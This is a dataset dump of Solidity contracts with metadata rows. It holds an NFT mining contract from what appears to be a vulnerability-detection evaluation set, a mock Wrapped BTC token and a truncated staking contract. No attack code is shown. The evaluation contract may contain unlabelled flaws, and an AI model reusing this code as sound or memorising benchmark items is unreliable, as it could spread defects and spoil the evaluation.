require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
| 292,166 | 13,580 |
89355a5e0534824e7ec875be394609460366226f8498257e9f0d1d8528d14671
| 12,612 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/POWNFTv3-0x9abb7bddc43fa67c76a62d8c016513827f59be1b.sol
| 3,254 | 12,332 |
// SPDX-License-Identifier: This smart contract is guarded by an angry ghost
pragma solidity ^0.8.0;
contract POWNFTv3{
//v2 Variables
uint public UNMIGRATED = 0;
uint public V2_TOTAL = 0;
bytes32 public PREV_CHAIN_LAST_HASH;
POWNFTv2 CONTRACT_V2;
constructor(address contract_v2){
supportedInterfaces[0x80ac58cd] = true; //ERC721
supportedInterfaces[0x5b5e139f] = true; //ERC721Metadata
supportedInterfaces[0x780e9d63] = true; //ERC721Enumerable
supportedInterfaces[0x01ffc9a7] = true; //ERC165
CONTRACT_V2 = POWNFTv2(contract_v2);
V2_TOTAL =
UNMIGRATED = CONTRACT_V2.totalSupply();
PREV_CHAIN_LAST_HASH = CONTRACT_V2.hashOf(UNMIGRATED);
}
//////===721 Standard
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
//////===721 Implementation
mapping(address => uint256) internal BALANCES;
mapping (uint256 => address) internal ALLOWANCE;
mapping (address => mapping (address => bool)) internal AUTHORISED;
bytes32[] TOKENS; //Array of all tokens [hash,hash,...]
mapping(uint256 => address) OWNERS; //Mapping of owners
// METADATA VARS
string private __name = "POW NFT";
string private __symbol = "POW";
bytes private __uriBase = bytes("https://www.pownftmetadata.com/t/");
// ENUMERABLE VARS
mapping(address => uint[]) internal OWNER_INDEX_TO_ID;
mapping(uint => uint) internal OWNER_ID_TO_INDEX;
mapping(uint => uint) internal ID_TO_INDEX;
mapping(uint => uint) internal INDEX_TO_ID;
//ETH VAR
mapping(uint256 => uint256) WITHDRAWALS;
// MINING VARS
uint BASE_COST = 0.000045 ether;
uint BASE_DIFFICULTY = uint(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)/uint(300);
uint DIFFICULTY_RAMP = 3;
event Migrate(uint indexed _tokenId);
// MINING EVENTS
event Mined(uint indexed _tokenId, bytes32 hash);
event Withdraw(uint indexed _tokenId, uint value);
// MINING FUNCTIONS
function generationOf(uint _tokenId) private pure returns(uint generation){
for(generation = 0; _tokenId > 0; generation++){
_tokenId /= 2;
}
return generation - 1;
}
function hashOf(uint _tokenId) public view returns(bytes32){
require(isValidToken(_tokenId),"invalid");
return TOKENS[ID_TO_INDEX[_tokenId]];
}
function migrate(uint _tokenId,uint _withdrawEthUntil) public {
_migrate(_tokenId);
if(_withdrawEthUntil > 0){
withdraw(_tokenId, _withdrawEthUntil);
}
}
function _migrate(uint _tokenId) internal {
//require not migrated
require(!isValidToken(_tokenId),'is_migrated');
//Require before snapshot
require(_tokenId <= V2_TOTAL,'forgery');
//require owner on original contract
require(CONTRACT_V2.ownerOf(_tokenId) == msg.sender,'owner');
//mint the token with hash from prev contract
UNMIGRATED--;
mint(_tokenId,
CONTRACT_V2.hashOf(_tokenId));
emit Migrate(_tokenId);
}
function migrateMultiple(uint[] calldata _tokenIds, uint[] calldata _withdrawUntil) public {
for(uint i = 0; i < _tokenIds.length; i++){
_migrate(_tokenIds[i]);
}
withdrawMultiple(_tokenIds,_withdrawUntil);
}
function withdraw(uint _tokenId, uint _withdrawUntil) public {
payable(msg.sender).transfer(_withdraw(_tokenId, _withdrawUntil));
}
function _withdraw(uint _tokenId, uint _withdrawUntil) internal returns(uint){
require(isValidToken(_withdrawUntil),'withdrawUntil_exist');
require(ownerOf(_tokenId) == msg.sender,"owner");
require(_withdrawUntil > WITHDRAWALS[_tokenId],'withdrawn');
uint generation = generationOf(_tokenId);
uint firstPayable = 2**(generation+1);
uint withdrawFrom = WITHDRAWALS[_tokenId];
if(withdrawFrom < _tokenId){
withdrawFrom = _tokenId;
//withdraw from if _tokenId < number brought over
if(withdrawFrom < V2_TOTAL){
withdrawFrom = V2_TOTAL;
}
if(withdrawFrom < firstPayable){
withdrawFrom = firstPayable - 1;
}
}
require(_withdrawUntil > withdrawFrom,'underflow');
uint payout = BASE_COST * (_withdrawUntil - withdrawFrom);
WITHDRAWALS[_tokenId] = _withdrawUntil;
emit Withdraw(_tokenId,payout);
return payout;
}
function withdrawMultiple(uint[] calldata _tokenIds, uint[] calldata _withdrawUntil) public{
uint payout = 0;
for(uint i = 0; i < _tokenIds.length; i++){
if(_withdrawUntil[i] > 0){
payout += _withdraw(_tokenIds[i],_withdrawUntil[i]);
}
}
payable(msg.sender).transfer(payout);
}
function mine(uint nonce) external payable{
uint tokenId = UNMIGRATED + TOKENS.length + 1;
uint generation = generationOf(tokenId);
uint difficulty = BASE_DIFFICULTY / (DIFFICULTY_RAMP**generation);
if(generation > 13){ //Token 16384
difficulty /= (tokenId - 2**14 + 1);
}
uint cost = (2**generation - 1)* BASE_COST;
bytes32 hash;
if(V2_TOTAL - UNMIGRATED != TOKENS.length){
hash = keccak256(abi.encodePacked(msg.sender,
TOKENS[ID_TO_INDEX[tokenId-1]],
nonce));
}else{
// First mine on new contract
hash = keccak256(abi.encodePacked(msg.sender,
PREV_CHAIN_LAST_HASH,
nonce));
}
require(uint(hash) < difficulty,"difficulty");
require(msg.value ==cost,"cost");
hash = keccak256(abi.encodePacked(hash,block.timestamp));
mint(tokenId, hash);
emit Mined(tokenId,hash);
}
function mint(uint tokenId, bytes32 hash) private{
OWNERS[tokenId] = msg.sender;
BALANCES[msg.sender]++;
OWNER_ID_TO_INDEX[tokenId] = OWNER_INDEX_TO_ID[msg.sender].length;
OWNER_INDEX_TO_ID[msg.sender].push(tokenId);
ID_TO_INDEX[tokenId] = TOKENS.length;
INDEX_TO_ID[TOKENS.length] = tokenId;
TOKENS.push(hash);
emit Transfer(address(0),msg.sender,tokenId);
}
function isValidToken(uint256 _tokenId) internal view returns(bool){
return OWNERS[_tokenId] != address(0);
}
function balanceOf(address _owner) external view returns (uint256){
return BALANCES[_owner];
}
function ownerOf(uint256 _tokenId) public view returns(address){
require(isValidToken(_tokenId),"invalid");
return OWNERS[_tokenId];
}
function approve(address _approved, uint256 _tokenId) external{
address owner = ownerOf(_tokenId);
require(owner == msg.sender //Require Sender Owns Token
|| AUTHORISED[owner][msg.sender] // or is approved for all.
,"permission");
emit Approval(owner, _approved, _tokenId);
ALLOWANCE[_tokenId] = _approved;
}
function getApproved(uint256 _tokenId) external view returns (address) {
require(isValidToken(_tokenId),"invalid");
return ALLOWANCE[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return AUTHORISED[_owner][_operator];
}
function setApprovalForAll(address _operator, bool _approved) external {
emit ApprovalForAll(msg.sender,_operator, _approved);
AUTHORISED[msg.sender][_operator] = _approved;
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
//Check Transferable
//There is a token validity check in ownerOf
address owner = ownerOf(_tokenId);
require (owner == msg.sender //Require sender owns token
//Doing the two below manually instead of referring to the external methods saves gas
|| ALLOWANCE[_tokenId] == msg.sender //or is approved for this token
|| AUTHORISED[owner][msg.sender] //or is approved for all
,"permission");
require(owner == _from,"owner");
require(_to != address(0),"zero");
emit Transfer(_from, _to, _tokenId);
OWNERS[_tokenId] =_to;
BALANCES[_from]--;
BALANCES[_to]++;
//Reset approved if there is one
if(ALLOWANCE[_tokenId] != address(0)){
delete ALLOWANCE[_tokenId];
}
//Enumerable Additions
uint oldIndex = OWNER_ID_TO_INDEX[_tokenId];
//If the token isn't the last one in the owner's index
if(oldIndex != OWNER_INDEX_TO_ID[_from].length - 1){
//Move the old one in the index list
OWNER_INDEX_TO_ID[_from][oldIndex] = OWNER_INDEX_TO_ID[_from][OWNER_INDEX_TO_ID[_from].length - 1];
//Update the token's reference to its place in the index list
OWNER_ID_TO_INDEX[OWNER_INDEX_TO_ID[_from][oldIndex]] = oldIndex;
}
OWNER_INDEX_TO_ID[_from].pop();
OWNER_ID_TO_INDEX[_tokenId] = OWNER_INDEX_TO_ID[_to].length;
OWNER_INDEX_TO_ID[_to].push(_tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public {
transferFrom(_from, _to, _tokenId);
//Get size of "_to" address, if 0 it's a wallet
uint32 size;
assembly {
size := extcodesize(_to)
}
if(size > 0){
ERC721TokenReceiver receiver = ERC721TokenReceiver(_to);
require(receiver.onERC721Received(msg.sender,_from,_tokenId,data) == bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),"receiver");
}
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from,_to,_tokenId,"");
}
// METADATA FUNCTIONS
function tokenURI(uint256 _tokenId) public view returns (string memory){
//Note: changed visibility to public
require(isValidToken(_tokenId),'tokenId');
uint _i = _tokenId;
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(abi.encodePacked(__uriBase,bstr));
}
function name() external view returns (string memory _name){
return __name;
}
function symbol() external view returns (string memory _symbol){
return __symbol;
}
// ENUMERABLE FUNCTIONS
function totalSupply() external view returns (uint256){
return TOKENS.length;
}
function tokenByIndex(uint256 _index) external view returns(uint256){
require(_index < TOKENS.length,"index");
return INDEX_TO_ID[_index];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256){
require(_index < BALANCES[_owner],"index");
return OWNER_INDEX_TO_ID[_owner][_index];
}
// End 721 Implementation
///////===165 Implementation
mapping (bytes4 => bool) internal supportedInterfaces;
function supportsInterface(bytes4 interfaceID) external view returns (bool){
return supportedInterfaces[interfaceID];
}
///==End 165
}
interface ERC721TokenReceiver {
//note: the national treasure is buried under parliament house
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
interface POWNFTv2 {
function hashOf(uint _tokenId) external view returns(bytes32);
function ownerOf(uint256 _tokenId) external view returns(address);
function totalSupply() external view returns (uint256);
//NWH YDY DDUG SEGEN DIN
}
| 179,227 | 13,581 |
319cc711976de5407e2d0e3107ca649616e6527cbd1887a67f9450fc50e64b31
| 18,324 |
.sol
|
Solidity
| false |
560540422
|
ahmad-codex/precog
|
97e75ea9b1fcc490108c32d2510157eed18a54c5
|
contracts/mock/WBTC.sol
| 2,772 | 10,693 |
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint);
function balanceOf(address _who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint _a, uint _b) internal pure returns (uint c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint _a, uint _b) internal pure returns (uint) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint _a, uint _b) internal pure returns (uint) {
assert(_b <= _a);
return _a - _b;
}
function add(uint _a, uint _b) internal pure returns (uint c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) internal balances;
uint internal totalSupply_;
function totalSupply() public view returns (uint) {
return totalSupply_;
}
function transfer(address _to, uint _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint);
function transferFrom(address _from,
address _to,
uint _value) public returns (bool);
function approve(address _spender, uint _value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint)) internal allowed;
function transferFrom(address _from,
address _to,
uint _value) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name,
string _symbol,
uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to, uint _amount) public hasMintPermission canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint value);
function burn(uint _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from,
address _to,
uint _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: openzeppelin-solidity/contracts/ownership/Claimable.sol
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
function safeTransfer(ERC20Basic _token,
address _to,
uint _value) internal {
require(_token.transfer(_to, _value));
}
function safeTransferFrom(ERC20 _token,
address _from,
address _to,
uint _value) internal {
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(ERC20 _token,
address _spender,
uint _value) internal {
require(_token.approve(_spender, _value));
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
// File: contracts/utils/OwnableContract.sol
// empty block is used as this contract just inherits others.
contract OwnableContract is CanReclaimToken, Claimable {
}
// File: contracts/token/WBTC.sol
contract WBTC is
StandardToken,
DetailedERC20("Wrapped BTC", "WBTC", 8),
MintableToken,
BurnableToken,
PausableToken,
OwnableContract
{
function burn(uint value) public onlyOwner {
super.burn(value);
}
function finishMinting() public onlyOwner returns (bool) {
return false;
}
function renounceOwnership() public onlyOwner {
revert("renouncing ownership is blocked");
}
}
| 341,378 | 13,582 |
dc738db2134d01be7b658ef19f2d6bfcbec1f5ce15e0dd7519a6797eb5da52eb
| 38,094 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/bc/bcda437b6fb6685219b23316f87caadc388322bd_VsoStakingContract.sol
| 4,621 | 18,479 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
interface IERC20Upgradeable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20Upgradeable token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMathUpgradeable {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = _setInitializedVersion(1);
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
bool isTopLevelCall = _setInitializedVersion(version);
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(version);
}
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
_setInitializedVersion(type(uint8).max);
}
function _setInitializedVersion(uint8 version) private returns (bool) {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// of initializers, because in other contexts the contract may have been reentered.
if (_initializing) {
require(version == 1 && !AddressUpgradeable.isContract(address(this)),
"Initializable: contract is already initialized");
return false;
} else {
require(_initialized < version, "Initializable: contract is already initialized");
_initialized = version;
return true;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
contract VsoStakingContract is OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardAPY; // Reward debt. See explanation below.
uint256 endBlock;
uint256 startBlock;
}
// Info of each pool.
struct PoolInfo {
IERC20Upgradeable lpToken; // Address of LP token contract.
uint256 rewardAPY;
uint256 startBlock;
uint256 bonusEndBlock;
uint256 totalStaked;
}
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(address => mapping(uint256 => UserInfo)) public userInfo;
uint256 internal constant SECONDS_PER_YEAR = 365 days;
event Deposit(address indexed user, uint256 amount, address token);
event Withdraw(address indexed user, uint256 amount, address token);
event EmergencyWithdraw(address indexed user,
uint256 amount,
address token);
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize() initializer public {
__Ownable_init();
}
function addPool(address _syrup,
uint256 _rewardAPY,
uint256 _startBlock,
uint256 _bonusEndBlock) public onlyOwner {
PoolInfo memory pool = PoolInfo({
lpToken: IERC20Upgradeable(_syrup),
rewardAPY: _rewardAPY,
startBlock: _startBlock,
bonusEndBlock: _bonusEndBlock,
totalStaked: 0
});
poolInfo.push(pool);
}
function stopReward(uint256 _id) public onlyOwner {
poolInfo[_id].bonusEndBlock = block.timestamp;
}
function changeStartBlock(uint256 _startBlock, uint256 _id)
public
onlyOwner
{
poolInfo[_id].startBlock = _startBlock;
}
function changeEndBlock(uint256 _bonusEndBlock, uint256 _id)
public
onlyOwner
{
require(_bonusEndBlock >= block.timestamp,
"should be later than current time");
poolInfo[_id].bonusEndBlock = _bonusEndBlock;
}
function changeRewardAYP(uint256 _rewardAPY, uint256 _id) public onlyOwner {
poolInfo[_id].rewardAPY = _rewardAPY;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from,
uint256 _to,
uint256 _id) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_id];
if (_to <= pool.bonusEndBlock) {
return _to.sub(_from);
} else if (_from >= pool.bonusEndBlock) {
return 0;
} else {
return pool.bonusEndBlock.sub(_from);
}
}
// View function to see pending Reward on frontend.
function xVso(address _user, uint256 _id)
external
view
returns (uint256)
{
UserInfo storage user = userInfo[_user][_id];
PoolInfo storage pool = poolInfo[_id];
uint256 lpSupply = pool.totalStaked;
if (block.timestamp > user.startBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(user.startBlock,
block.timestamp,
_id);
return
